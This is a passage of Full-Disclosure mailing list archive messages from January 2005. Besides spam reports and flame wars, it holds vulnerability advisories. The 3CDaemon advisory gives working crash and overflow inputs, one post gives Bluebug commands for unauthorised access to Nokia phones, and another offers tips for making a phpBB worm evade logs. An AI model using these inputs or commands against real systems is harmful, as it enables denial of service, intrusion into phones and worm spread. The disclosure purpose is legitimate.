>     We are running phpBB and last week, a DoS attack was launched against us.
>     We have since upgraded, but among our new users over the last few days 
> have been a Weber361, a Weber395, and a nderevyanko.
>     Googling the last user name, I've found 4,900 references?most with 
> guestbooks or forums?to which nderevyanko has signed up. He has been 
> preceded by a few Webers, and some Irenas, often citing that 
> killhim.boom.ru is their home page.

I found 10 such users on my forum at the site in my signature.
Attached is a CSV file containing the export from phpbb, they all seem
to have the same password. none of them have posted anything.

Doesn't look like this is a DoS attack or anything like that I believe
it's most likely an attempt at google spamming with the URL they set as
their homepage. I'd recommend disabling them and modifying the homepage
to your own URL. I wouldn't delete them as if they have a script this
would be a sign that the site isn't previously tagged and would then
allow them to regenerate.

The accounts on my site where created on the 22/23 of December incase
that becomes relevant (the site being down leads me to believe this is
the end of it)

With Regards..
Barrie Dempster (zeedo) - Fortiter et Strenue

  http://www.bsrf.org.uk

[ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ]




-------------- next part --------------
A non-text attachment was scrubbed...
Name: phpbb_users.csv
Type: text/x-comma-separated-values
Size: 3333 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/47eb73e2/attachment.bin 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/47eb73e2/attachment-0001.bin 

From emiraga at emiraga.com  Mon Jan  3 16:40:28 2005
From: emiraga at emiraga.com (EmirAga)
Date: Mon, 3 Jan 2005 17:40:28 +0100
Subject: [Full-Disclosure] phpBB Worm writers are dumb
Message-ID: <200501031740.28907.emiraga@emiraga.com>

lots has passed since releasing a phpbb worm by some stupid people, i will 
list my oppinion about it.

- why release a worm? not sure about newer ones, but first one did not do 
anything, so, whats the point?. Worm will warn whole world about 
vulnerability and most of servers will patch it, without worm it would stay 
just another bug in their forum and most non will worry about it. Security 
_penetators_ are loosing their jobs because of you.

- first worm sent a thousand requests before infection. The newer one do 
'wget' it from static http location. STUPID. Simply worm could send his self 
by POST or FILE_UPLOAD method since they are not written in logs. In logs 
would be written a small request that most administrators will not notice. 
what's wrong with eval($_POST[x])?

- first worm wrote his self to current directory, we all know that in most 
cases this will fail. Better solution would be to write to /tmp, or even 
better to use upload $_FILES[worm][tmp_name]. So stupid!

- Why didn't they removed comments and replaced their variables with smaller 
ones, so worm will go faster.

i just hope no one will rewrite its code with newer _version_ cuz then i will 
be the stupid one here.

just wanted to say that worm writing sucks and real programmer will never 
release one.

greets


From bugzilla at redhat.com  Mon Jan  3 17:16:04 2005
From: bugzilla at redhat.com (Bugzilla)
Date: Mon, 03 Jan 2005 12:16:04 -0500
Subject: [Full-Disclosure] Encrypted document
Message-ID: <urjfjndahlnobuttfnb@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/2a148749/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: Information.scr
Type: application/octet-stream
Size: 21522 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/2a148749/attachment.obj 

From johncybpk at gmx.net  Mon Jan  3 18:58:01 2005
From: johncybpk at gmx.net (johncybpk at gmx.net)
Date: Tue, 4 Jan 2005 00:28:01 +0530
Subject: [Full-Disclosure] Mail Delivery (failure
	full-disclosure@lists.netsys.com)
Message-ID: <200501031858.j03Iw1vO018791@lists.netsys.com>


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/83d8a828/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: audio/x-wav
Size: 31744 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/83d8a828/attachment.wav 

From measl at mfn.org  Mon Jan  3 19:11:48 2005
From: measl at mfn.org (J.A. Terranson)
Date: Mon, 3 Jan 2005 13:11:48 -0600 (CST)
Subject: [inbox] Re: [Full-Disclosure] This sums up Yahoo!s securitypolicy
	to a -T-
In-Reply-To: <NMEAJDJMDLJLOIOCIKJJOEBOFOAA.exibar@thelair.com>
References: <NMEAJDJMDLJLOIOCIKJJOEBOFOAA.exibar@thelair.com>
Message-ID: <20050103130812.Y41653@ubzr.zsa.bet>


On Wed, 29 Dec 2004, Exibar wrote:

> Yes I am aware that the laws differe from state to state.  This would be a
> federal case, a US Federal case, if it ever got that far, it won't.

You wanna explain how you came to this brilliant conclusion?  How is an
estate issue federal?

>  No
> IANAL, but have first hand knowledge of a case very similliar to this.

Stop watching TV.

> Digital property and physical property are considered the same in cases like
> this.  It is something owned by the deceased.  It becomes the property of
> the inheritor.

I hope your "consulting practice" doesn't hand out opinions like this.


>   No I cannot cite case law to back up my statements.

Then you are making this shit up as you go.


>   If someone were to die without a will, and their
> parents/wife/husband/kids/ etc are the legal hiers, wouldn't they also
> inherit that person's ameritrade stock broker account, or at least
> everything inside said account?  Why is e-mail different?

So, here you are asking questions that show you don't have a clue, after
telling us how you *know*...  Just stop trying to be the One Source Of
Knowledge, and STFU when you don't know what you're talking about.

>
>  Exibar


-- 
Yours,

J.A. Terranson
sysadmin at mfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner


From gadgeteer at elegantinnovations.org  Mon Jan  3 19:22:35 2005
From: gadgeteer at elegantinnovations.org (gadgeteer at elegantinnovations.org)
Date: Mon, 3 Jan 2005 12:22:35 -0700
Subject: [Full-Disclosure] Re: Insecurity in Finnish parlament (computers)
In-Reply-To: <200412280149.iBS1ncAN017692@turing-police.cc.vt.edu>
References: <JA8AAAAACJY6gQABYQABjOne7NhU@eduskunta.fi>
	<41CBBE6E.7040507@lava.net>
	<e92364c3041226063420b829df@mail.gmail.com>
	<200412280149.iBS1ncAN017692@turing-police.cc.vt.edu>
Message-ID: <20050103192235.GC1698@hyper>

On Mon, Dec 27, 2004 at 08:49:38PM -0500, Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) wrote:
> On Sun, 26 Dec 2004 14:34:24 GMT, James Tucker said:
> > not possible. This is not to say that communications don't get
> > monitored, it is just to say that the report of 'everything you say is
> > being watched' is quite simply false.
> 
> Maybe it is all being watched, and maybe it isn't.  A bit of thought shows
> that acting as if it is all watched is the only sane way to behave - if you
> know only 10% is watched, but can't tell *which* 10%, there's only one
> thing to do....

google "Semantic Forests"
-- 
Chief Gadgeteer
Elegant Innovations


From guninski at guninski.com  Mon Jan  3 20:20:21 2005
From: guninski at guninski.com (Georgi Guninski)
Date: Mon, 3 Jan 2005 22:20:21 +0200
Subject: [Full-Disclosure] Insecurity in Finnish parlament (computers)
In-Reply-To: <JA8AAAAACJY6gQABYQABjOne7NhU@eduskunta.fi>
References: <JA8AAAAACJY6gQABYQABjOne7NhU@eduskunta.fi>
Message-ID: <20050103202021.GC4966@sivokote.iziade.m$>

so your company is making the finish lawz and it is gonna sue the guy with
his tax money?

your email revived my faith in modern democracy.

btw, i don't see anything wrong with finish parliament using unpatched 
windoze - it just helps more people take part in the lawz making - what does
 your constitution say about this?

-- 
mother should i trust the government -- pink floyd


On Thu, Dec 23, 2004 at 03:54:00PM +0200, Mustaj?rvi Olli wrote:
> Mr. Jansson has expressed  his false claims about the ICT security issues of
> the Finnish Parliament. Mr. Jansson has expressed his lies now so many times,
> for instance http://lists.netsys.
> com/pipermail/full-disclosure/2004-December/030078.html, that we will bring a
> charge against him in court. We like to underline again that Mr. Jansson's
> claims are false and incomprehensibly stupid.
> 
> Head of ICT Office  Olli Mustaj?rvi
> 
> The Finnish Parliament  Head of IT Office  FIN- 00102 Helsinki  Finland
> Email:firstname.surname at eduskunta.fi   WWW: www.eduskunta.fi
> 
> 
> 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html


From chows at ozemail.com.au  Mon Jan  3 20:33:27 2005
From: chows at ozemail.com.au (Gregh)
Date: Tue, 4 Jan 2005 07:33:27 +1100
Subject: [Full-Disclosure] Trivial Bug in Symantec Security Products
References: <Pine.GSO.4.58.0412291754080.9648@kungfunix.net>
Message-ID: <004901c4f1d3$7ab82b20$6500a8c0@p43400>


----- Original Message ----- 
From: "J. Oquendo" <sil at infiltrated.net>
To: <full-disclosure at lists.netsys.com>
Sent: Thursday, December 30, 2004 9:56 AM
Subject: [Full-Disclosure] Trivial Bug in Symantec Security Products


> 
> Somehow, Symantec engineers have not implemented a mechanism to disallow a
> user from installing the patches via changing the date on their computer
> back to when the original program was installed and then running the
> "Intelligent Updater." 

You think THAT is bad? Up till NIS2005 which I haven't tested so cant say if it does or doesn't, you could install Nortons, run the year and then wipe your machine and reinstall all then install Nortons again and get yet another full year licence without paying a cent, over and over and over. In short, buy once and never pay again.

Greg.



From ferruh at mavituna.com  Mon Jan  3 20:09:38 2005
From: ferruh at mavituna.com (Ferruh Mavituna)
Date: Mon, 3 Jan 2005 22:09:38 +0200
Subject: [Full-Disclosure] Multiple Firewall Products Bypass Vulnerability
Message-ID: <200501032010.j03KAsvO023135@lists.netsys.com>

-------------------------------------------------------------------
Multiple Firewall Products Bypass Vulnerability 
-------------------------------------------------------------------
Online URL		: http://ferruh.mavituna.com/article/?769
Download POC	: http://ferruh.mavituna.com/opensource/firewallbypass.zip
(Also I attached vbs files as txt, one of them is -mousecontrol.txt- vb.net
source code)

This is a generic problem of common Personal Firewall products which are
accept shortcuts or provide an interface that enables to click without
require a password for controlled actions (acting as server -listening
ports-, executing another program, connecting to another computer etc.).

-------------------------------------------------------------------
Problem;
-------------------------------------------------------------------
Most of personal firewalls allow shortcuts or interface for controlling
traffic. It's simple to bypass these firewalls by a multithreaded program
and sending keys or by contolling mouse.

This flaw enables that any Trojan or similar programs can easily bypass
firewall and act as a server or access to another computer. Also most of
these firewalls have a "remember" option so if you bypass firewall and
successfully exploit it, firewall will never ask again.

This is a similar threat with shattering attacks, but different method and
impact.

Vulnerable Products (Sending Key Method and Mouse Control);
These products are vulnerable to both of "Sending Key Method" and "Mouse
Control Method" 

Test Platforms;
Fully Patched Windows XP Professional and Windows 2003 Enterprise Edition
(May 19, 2004 - 01.01.2005)

1.	ZoneAlarm / ZoneAlarm Pro (www.zonelabs.com) | Fixed
	I.	4.5.530.000	- Tested
	II.	4.5.538.001	- Tested
	III.	5 and newer versions are not vulnerable...

2.	Kerio (www.kerio.com)
	I.	4.0.14		- Tested
	II.	All Versions

3.	Agnitium Outpost Firewall (www.agnitium.com)
	I.	2.1.303.4009 (314)	- Tested
	II.	2.5.369.4608 (369)	- Tested
	II.	All Versions

4.	Kaspersky Anti-Hacker (www.kaspersky.com) 
	I.	1.5.119.0	- Tested
	II.	All Versions

5.	Look 'n' Stop (www.looknstop.com)
	I.	2.04p2		- Tested
	II.	All Versions

6.	Symantec's Norton Personal Firewall (www.norton.com)
	I.	2004		- Tested
	II.	All Versions

-------------------------------------------------------------------
Vulnerable Products (Mouse Control);
-------------------------------------------------------------------
These products are only vulnerable to "Mouse Control Method", because they
don't accept shortcuts but still vulnerable to "Mouse Control" attacks.

1.	Panda Platinum Internet Security
	I.	8.03 (tested)
	II.	All Versions

2.	Omniquad Personal Firewall
	I.	1.1 (tested)
	II.	All Versions


-------------------------------------------------------------------
Proof of Concept;
-------------------------------------------------------------------
2 Proof of Concepts attached to advisory (also some other POCs for some
firewalls)

First POC (bypassSendKey.vbs) written in VBScript (.vbs), This POC include
required samples for ZoneAlarm, Kerio, Agnitium, Kaspersky Anti-Hacker, Look
'n' Stop and Symantec's Norton Personal Firewall. This script is executing
an instance of itself for multithreading and send shortcuts to firewall
while first instance trying to connect internet. I didn't write an auto
determine firewall function (but it's so easy), so you need to set it by
yourself.

Second (bypassMouseControl.txt) simulates an example of bypassing Zone Alarm
Firewall by with mouse control, code in VB.NET. Program is not using a real
multithread because some firewalls interrupt executing of program directly.
So program is executing another instance of itself with an argument.

Both of them add themselves to secure app list of firewalls and then bypass
active firewall.

Also I attached testFirewall.vbs for testing your firewall for application
control. 

-------------------------------------------------------------------
Solution;
-------------------------------------------------------------------
All firewalls should ask password for all kind of "Allow" actions. In fact
passwords can be fooled because of its nature but it is the best user
friendly / secure solution for protection.

As a user of these firewalls, if your firewall supports to "deny all
default" option, enable it, so your firewall deny all connections by
default. After that you may can manually select programs for allow them.

-------------------------------------------------------------------
Final Words;
-------------------------------------------------------------------
This is a methodology for bypassing interacted firewalls so it's possible
that this advisory affects other firewalls in market. Also it's possible
that future firewalls will be affected too. I think for now this is a
serious problem for firewalls, until they imply password/random human need
text method for "Allow/Deny" actions.

-------------------------------------------------------------------
History;
-------------------------------------------------------------------
Discovered: 03.05.2004
Vendors Informed: 28.08.2004
Published: 03.01.2005

-------------------------------------------------------------------
Vendors Status;
-------------------------------------------------------------------
Special thanks to ZoneLabs Team.


Ferruh Mavituna
http://ferruh.mavituna.com
pgpkey : http://ferruh.mavituna.com/PGPKey.asc

-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: outpost.txt
Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/7a4a75dd/attachment.txt 
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: anti-hacker.txt
Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/7a4a75dd/attachment-0001.txt 
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: ZoneAlarm.txt
Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/7a4a75dd/attachment-0002.txt 
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: testFirewall.txt
Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/7a4a75dd/attachment-0003.txt 
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: norton.txt
Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/7a4a75dd/attachment-0004.txt 
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: mousecontrol.txt
Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/7a4a75dd/attachment-0005.txt 
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: bypassSendKey.txt
Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/7a4a75dd/attachment-0006.txt 
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: Kerio.txt
Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/7a4a75dd/attachment-0007.txt 

From luchenghuai at yahoo.com  Mon Jan  3 20:20:08 2005
From: luchenghuai at yahoo.com (Chenghuai Lu)
Date: Mon, 3 Jan 2005 12:20:08 -0800 (PST)
Subject: [Full-Disclosure] Microsoft Windows BMP file buffer overflow
Message-ID: <20050103202008.16428.qmail@web53701.mail.yahoo.com>

Double click the bmp file as attached in windows.


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: bad.bmp
Type: image/bmp
Size: 21 bytes
Desc: bad.bmp
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/3a6a1389/attachment.bin 

From joel.esler at rcert-s.army.mil  Mon Jan  3 21:50:46 2005
From: joel.esler at rcert-s.army.mil (Esler, Joel - Contractor)
Date: Mon, 3 Jan 2005 16:50:46 -0500
Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products(IRIS
	and Secure
Message-ID: <41C902FBC7F1EA47933D76631B1704EE2F7A12@rcertsexch.rcert-s.army.mil>

It's too 1337.

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Paul
Schmehl
Sent: Monday, January 03, 2005 11:17 AM
To: Blue Boar; Dave Aitel
Cc: full-disclosure at lists.netsys.com
Subject: Re: [Full-Disclosure] Multiple Backdoors found in eEye
Products(IRIS and Secure


--On Sunday, January 02, 2005 08:27:09 PM -0800 Blue Boar 
<BlueBoar at thievco.com> wrote:
>
> As for proof in this particular case, I find the claim rather 
> extraordinary, so I would place the burden of proof on the claimer. 
> Let's see an exploit.
>
You're never going to see one.  It's too sooper sekrit to share with us 
mere mortals.  (Sort of like the alien corpses they have hidden out in
Area 
51.)

Paul Schmehl (pauls at utdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu _______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



From p.nolan at comcast.net  Tue Jan  4 01:20:06 2005
From: p.nolan at comcast.net (Patrick Nolan)
Date: Mon, 3 Jan 2005 17:20:06 -0800
Subject: [Full-Disclosure] phpBB Worm writers are dumb
In-Reply-To: <200501031740.28907.emiraga@emiraga.com>
Message-ID: <200501040117.j041HAvO009404@lists.netsys.com>

I forget who initially mentioned this but I recall in one off-the-record
conversation that virus authoring groups rarely have a QA department. For
this, white hats and security professionals can be thankful.


Regards, 

Patrick Nolan
Virus Researcher - Fortinet Inc.
http://www.fortinet.com 

To Submit A Virus:
pkzip/winzip password infected to
submitvirus at fortinet dot com




From sovrevage at gmail.com  Tue Jan  4 07:47:32 2005
From: sovrevage at gmail.com (=?ISO-8859-1?Q?Stian_=D8vrev=E5ge?=)
Date: Tue, 4 Jan 2005 08:47:32 +0100
Subject: [Full-Disclosure] phpBB Worm writers are dumb
In-Reply-To: <200501031740.28907.emiraga@emiraga.com>
References: <200501031740.28907.emiraga@emiraga.com>
Message-ID: <bf6826070501032347711fc400@mail.gmail.com>

On Mon, 3 Jan 2005 17:40:28 +0100, EmirAga <emiraga at emiraga.com> wrote:
> lots has passed since releasing a phpbb worm by some stupid people, i will
> list my oppinion about it.
> 
> - why release a worm? not sure about newer ones, but first one did not do
> anything, so, whats the point?. Worm will warn whole world about
> vulnerability and most of servers will patch it, without worm it would stay
> just another bug in their forum and most non will worry about it. Security
> _penetators_ are loosing their jobs because of you.
> 

So, releasing a worm that does nothing but warn the world and getting
the holes patched? I would agree this is stupid from a black-hat's
point of view, but I think it's better that some kiddies exploit and
expose the vuln/exploit than some organized criminals. Have you ever
done something for the kick off it? The message I'm replying to now,
is there a point? Except saying they are stupid?


> - first worm sent a thousand requests before infection. The newer one do
> 'wget' it from static http location. STUPID. Simply worm could send his self
> by POST or FILE_UPLOAD method since they are not written in logs. In logs
> would be written a small request that most administrators will not notice.
> what's wrong with eval($_POST[x])?

It is possible for the authors to replace the scripts and hence, load
different payloads as time goes, it hasn't been done, but it is a
possibility. I would say this is harder with self-carrying code.

> - first worm wrote his self to current directory, we all know that in most
> cases this will fail. Better solution would be to write to /tmp, or even
> better to use upload $_FILES[worm][tmp_name]. So stupid!
> 
> - Why didn't they removed comments and replaced their variables with smaller
> ones, so worm will go faster.

Agree with this one, it's not very "nice" code to look at, especially
when it's in some strange foreign language.

> i just hope no one will rewrite its code with newer _version_ cuz then i will
> be the stupid one here.
> 
> just wanted to say that worm writing sucks and real programmer will never
> release one.
>
> greets

I myself are fascinated by worms, but then again I'm not a real programmer.

My two cents
- Stian


From kf_lists at digitalmunition.com  Tue Jan  4 07:44:16 2005
From: kf_lists at digitalmunition.com (KF (Lists))
Date: Tue, 04 Jan 2005 02:44:16 -0500
Subject: [Full-Disclosure] DMA[2005-0103a] - 'William LeFebvre "top" format
	string vulnerability'
Message-ID: <41DA4950.7070606@digitalmunition.com>

Moving forward my work will be released independent of any previous 
affiliations. Once I have a web presence I will let you folks know.

-Kevin Finisterre


-------------- next part --------------
A non-text attachment was scrubbed...
Name: top_ex.pl
Type: application/x-perl
Size: 2931 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/be1d0356/attachment.bin 
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: DMA[2005-0103a].txt
Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/be1d0356/attachment.txt 

From jb at secunia.com  Tue Jan  4 08:52:22 2005
From: jb at secunia.com (Jakob Balle)
Date: Tue, 04 Jan 2005 09:52:22 +0100
Subject: [Full-Disclosure] Secunia Research: Mozilla / Mozilla Firefox
	Download Dialog Source Spoofing
Message-ID: <1104828742.29936.93.camel@ts1.int.secunia.com>

======================================================================

                     Secunia Research 04/01/2005

    - Mozilla / Mozilla Firefox Download Dialog Source Spoofing -

======================================================================
Table of Contents

Affected Software....................................................1
Severity.............................................................2
Description of Vulnerability.........................................3
Solution.............................................................4
Time Table...........................................................5
Credits..............................................................6
About Secunia........................................................7
Verification.........................................................8

======================================================================
1) Affected Software

Firefox 1.0
Mozilla 1.7.3

Other versions may also be affected.

======================================================================
2) Severity

Rating: Less critical
Impact: Spoofing
Where:  From remote

======================================================================
3) Description of Vulnerability

Secunia Research has discovered a vulnerability in Mozilla / Mozilla
Firefox, which can be exploited to spoof the source displayed in the
Download Dialog box.

The problem is that long sub-domains and paths aren't displayed
correctly, which therefore can be exploited to obfuscate what is
being displayed in the source field of the Download Dialog box.

The vulnerability has been confirmed in Mozilla 1.7.3 for Linux and
Mozilla Firefox 1.0.

Mozilla Bugzilla report:
https://bugzilla.mozilla.org/show_bug.cgi?id=275417

======================================================================
4) Solution

Currently, no solution is available. However, the vendor reports
that this vulnerability will be fixed in upcoming versions of the
affected products.

======================================================================
5) Time Table

24/11/2004 - Vulnerability reported to vendor.
20/12/2004 - The vendor published a public Bugzilla report regarding
             this vulnerability.
04/01/2005 - Public disclosure.

======================================================================
6) Credits

Discovered by Jakob Balle, Secunia Research.

======================================================================
7) About Secunia

Secunia collects, validates, assesses, and writes advisories regarding
all the latest software vulnerabilities disclosed to the public. These
advisories are gathered in a publicly available database at the
Secunia web site:

http://secunia.com/

Secunia offers services to our customers enabling them to receive all
relevant vulnerability information to their specific system
configuration.

Secunia offers a FREE mailing list called Secunia Security Advisories:

http://secunia.com/secunia_security_advisories/

======================================================================
8) Verification

Please verify this advisory by visiting the Secunia web site:
http://secunia.com/secunia_research/2004-15/advisory/

Complete list of vulnerability reports released by Secunia Research:
http://secunia.com/secunia_research/

======================================================================



From dayioglu at metu.edu.tr  Tue Jan  4 09:51:15 2005
From: dayioglu at metu.edu.tr (dayioglu at metu.edu.tr)
Date: Tue, 4 Jan 2005 15:21:15 +0530
Subject: [Full-Disclosure] Mail Delivery (failure
	full-disclosure@lists.netsys.com)
Message-ID: <200501040951.j049pAvO002834@lists.netsys.com>


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/27669f42/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: audio/x-wav
Size: 31744 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/27669f42/attachment.wav 

From jan.m.clairmont at citigroup.com  Tue Jan  4 14:48:08 2005
From: jan.m.clairmont at citigroup.com (Clairmont, Jan M)
Date: Tue, 4 Jan 2005 09:48:08 -0500
Subject: [Full-Disclosure] This sums up Yahoo!s securitypolicyto a -T-
Message-ID: <B99D046F7F16A34EA7926E14DD82F5A114CE4D@exchny28.ny.ssmb.com>

I love it when self-proclaimed luzer's claim to own anything.   What do they 
claim to own a couple of old ladies, children's or unprotected 
files on some pc's.  Wow daddy stand back in awe, this luzer hacked a
child's pc and gets to play on their 33.4K baud connection, so impressive.8->

Why don't you try to create something useful for society, like a new video game or 
a better spreadsheet, because in reality, you can't even do that.


Happy new year luzers get out of your mother's basement and put your pajama's on, you're busted.

Jan Clairmont
Firewall Administrator/Consultant

From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com]On Behalf Of n3td3v
Sent: Saturday, January 01, 2005 5:26 AM
To: full-disclosure at lists.netsys.com
Subject: Re: [inbox] Re: [Full-Disclosure] This sums up Yahoo!s
securitypolicyto a -T-


On Fri, 31 Dec 2004 22:01:52 -0500, Exibar <exibar at thelair.com> wrote:
>  Heck, they probably already have their son's account information anyway...
> I'm sure that someone, somewhere, hacked his account and gave them the
> information.  Or maybe they just guessed the PW....
> 
>  Ex

Because we all know Yahoo! has no account security, so kids aged 15
can hack an account. Yahoo! is like hacking for beginners. Its easy to
do, and therefore a great network to learn skills.. bravo Yahoo!, you
have a use after all.

n3td3v owns you all, even you self proclaimed and so-called experts
and professionals.

*makes rude hand jestures*

;-)
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



From smaillist at gmail.com  Tue Jan  4 10:23:06 2005
From: smaillist at gmail.com (Sowhat .)
Date: Tue, 4 Jan 2005 18:23:06 +0800
Subject: [Full-Disclosure] 3Com 3CDaemon Multiple Vulnerabilities
Message-ID: <d65cd4390501040223470d527@mail.gmail.com>

3Com 3CDaemon Multiple Vulnerabilities 

By Sowhat
04.JAN.2005

http://secway.org/advisory/ad20041011.txt
[I.T.S] Security Research Team


Product Affected:

3Com 3CDaemon 2.0 revision 10 

Vendor:

www.3Com.com


(1) BACKGROUD

3CDaemon is a free popular TFTP, FTP, and Syslog daemon for Microsoft Windows 

platforms, developed by dan_gill at 3Com. 

For more information,
http://support.3com.com/software/utilities_for_windows_32_bit.htm
ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip

3CDaemon is full of holes,ISS and Wang Ning <nwang at scn.com.cn> has already 

reported some bugz about 3CDaemon
(see:	http://xforce.iss.net/xforce/xfdb/8970
	http://www.securityfocus.org/bid/11944
)

And I doucument some other well-known bugz here again :)


(2) Details

Remote exploitation of Multiple vulnerabilities in the 3CDaemon allows
attackers

to execute arbitrary command as the user running 3CDaemon (usually 

Administrator).Some of these Vulnerabilities didnt need a valid username and 

password to login.

There are several vulnerabilies

1.TFTP Reserved Device Name Denial of Service

D:\WINDOWS\system32>tftp -i 192.168.0.1 get prn
The 3CDaemon will be crashed with some msgs like  
"Microsoft Visual C++ Runtime library"
"Runtime Error!"
"Program : C:\Program Files\3Com\3CDaemon\3CDaemon.exe "
"abnormal program termination".   

2.FTP Username Format String vulnerability

H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %n
Connection closed by remote host.

OR:
H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %s
331 User name ok, need password
Password:[anythinghere]
530 Login access denied
Login failed.
ftp>

And then the 3CDaemon is dead.

3.FTP long Username Buffer overflow

D:\WINDOWS\system32>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)):
501 Invalid or missing parameters
Login failed.
ftp> user AAA..[about 241 A here]...AAAAA
Connection closed by remote host.

4.Multiple FTP command long parameter Buffer overflow
Including:cd,send,ls,,put,delete,rename,rmdir,literal,stat,CWD, and so on
(Maybe this is what ISS's Advisory talking about)

ftp> cd AAA..[about 398 A here]...AAAAA
Connection closed by remote host.
ftp>

ftp> ls AAA..[about 247 A here]...AAAAA
200 PORT command successful.
Connection closed by remote host.

ftp> put 1.txt AAA..[about 247 A here]...AAAAA
200 PORT command successful.
532 Need account for storing files
Connection closed by remote host.

It seems that the length of the "A" is different from every command.

5.Multiple FTP command Format string
Including:cd,delete,rename,rmdir,literal,stat,CWD, and so on

230 User logged in
ftp> cd %n
Connection closed by remote host.
ftp> 


6.Multiple FTP command Reserved Device Name Information Leak
Including cd,and so on

The following command will disclosure the physical path of the 3cdaemon

ftp> cd aux
550 aux : C:/3cdaemon/aux is not a directory!
ftp> cd lpt1
550 lpt1 : C:/3cdaemon/lpt1 is not a directory!

and also ,CD an exsiting filename will disclosure physical path too.

ftp> cd toolz.rar
550 toolz.rar : C:/3cdaemon/toolz.rar is not a directory!

There are still some other boring bugz ,but it's enough : >

(3) WORKAROUND

Workaroud ? No......

(4) Vendor Response

Since it seems that 3com didnt maintained 3CDaemon for a long long time ,I dint 
contact them :)

http://secway.org
Thank to all the members of ITS Security Team


From venglin at freebsd.lublin.pl  Tue Jan  4 13:46:19 2005
From: venglin at freebsd.lublin.pl (Przemyslaw Frasunek)
Date: Tue, 04 Jan 2005 14:46:19 +0100
Subject: [Full-Disclosure] Re: Bluetooth: BlueSnarf and BlueBug Full
	Disclusore
In-Reply-To: <41D52185.6050001@thebunker.net>
References: <41D52185.6050001@thebunker.net>
Message-ID: <41DA9E2B.4000908@freebsd.lublin.pl>

Adam Laurie napisa?(a):
 > Details of the attacks were disclosed at the Chaos Computer Club's annual
 > congress in Berlin - 21C3:

According to the [1], not all details were disclosed. Actually, there is no 
reason for keeping them secret here, while they are well known and actively 
exploited in the blackhat community.

The Bluebug, as described on [1] is trivially exploitable on some non-Symbian 
Nokia phones. It allows attacker to create serial profile connection without 
pairing or asking for permission, therefore it gives unauthorized access to all 
AT commands. It is possible to read/delete/send SMS messages, add/view/delete 
phonebook entries, change call diverts, initiate voice or data call.

Demonstration on Nokia 6310i:

laptop:~# hcitool scan
Scanning ...
         00:60:57:38:8C:D8       Nokia 6310i
laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17

Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for 
example:

laptop:~# cu -l rfcomm0 -s 9600
